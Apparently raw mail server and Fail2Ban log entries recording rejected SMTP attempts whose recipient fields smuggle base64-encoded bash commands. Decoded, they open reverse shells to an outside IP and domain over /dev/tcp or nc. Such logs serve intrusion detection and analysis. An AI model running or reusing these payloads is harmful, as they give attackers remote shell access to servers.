2026-10-26T12:38:25.034663+00:00 mail postfix/smtpd[1372461]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxl ...
show more2026-10-26T12:38:25.034663+00:00 mail postfix/smtpd[1372461]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid>
Oct 26 12:38:25 mail postfix/smtpd[1372461]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU
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2026-10-26T11:31:22.838562+00:00 mail postfix/smtpd[1288351]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxl ...
show more2026-10-26T11:31:22.838562+00:00 mail postfix/smtpd[1288351]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to [email protected]>: Relay access denied; from=<[email protected]> to=<"x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU=|base64 -d|bash' >/dev/null 2>&1 &) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<poc.invalid>
Oct 26 11:31:22 mail postfix/smtpd[1288351]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 554 5.7.1 <x: Service status change: localhost $(nohup bash -c 'echo ZXhlYyA1PD4vZGV2L3RjcC80MS4yNDkuMjQuMjI0LzQ0MzsgY2F0IDwmNSB8IHdoaWxlIHJlYWQgbGluZTsgZG8gJGxpbmUgMj4mNSA+JjU7IGRvbmU
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Fail2Ban [zimbra-smtp]: Oct 26 00:06:40 01eml01p postfix/smtpd[4066720]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 504 5.5.2 <x: Service status change: localhost $(nohup bash -c 'echo X2sxPSdkYjY4MTJjMGNhOGVlMGQyJzsgX2syPScwODYxYjFiNjJkMTYxZ ...
show moreFail2Ban [zimbra-smtp]: Oct 26 00:06:40 01eml01p postfix/smtpd[4066720]: NOQUEUE: reject: RCPT from unknown[41.249.24.224]: 504 5.5.2 <x: Service status change: localhost $(nohup bash -c 'echo X2sxPSdkYjY4MTJjMGNhOGVlMGQyJzsgX2syPScwODYxYjFiNjJkMTYxZmM4JzsgX2szPSc3YWY0ZDg0ODBjMjkxYjZiJzsgX2J0KCkgeyBiYXNoIC1jICdleGVjIDU8Pi9kZXYvdGNwLyQxLyQyIHx8IGV4aXQgMTtwcmludGYgIiVzXG4iICIkMCIgPiY1O3doaWxlIHJlYWQgLXIgbCA8JjU7IGRvIGV2YWwgIiRsIiAyPiY1ID4mNTsgZG9uZScgIiRfcCIgIiQxIiAiJDIiOyB9OyBfbnQoKSB7IGY9L3RtcC8uem0uJCQ7IHJtIC1mICRmOyBta2ZpZm8gJGYgfHwgZXhpdCAxOyhwcmludGYgJyVzXG4nICIkX3AiOyB3aGlsZSBJRlM9IHJlYWQgLXIgbDsgZG8gZXZhbCAiJGwiIDI+JjE7IGRvbmUpIDwgJGYgfCBuYyAkMSAkMiA+ICRmOyBybSAtZiAkZjsgfTsgX2QoKSB7IF9wPSIkX2sxJF9rMiRfazMiOyBmb3IgdCBpbiBfYnQgX250OyBkbyAkdCAiJDEiICIkMiIgJiYgcmV0dXJuIDA7IGRvbmU7IHJldHVybiAxOyB9OyBfbj0wOyB3aGlsZSBbICRfbiAtbHQgNSBdOyBkbyBfbj0kKChfbisxKSk7IF9kICc0MS4yNDkuMjQuMjI0JyAnNDQzJyAmJiBleGl0IDA7IHNsZWVwIDMwOyBfZCAncGF0aDEucmVkaXJlY3RtZXBsZWFzZS5vbmxpbmUnICc0NDMnICYmIGV4aXQgMDsgc2xlZXAgMzA7IGRvbmU7IGV
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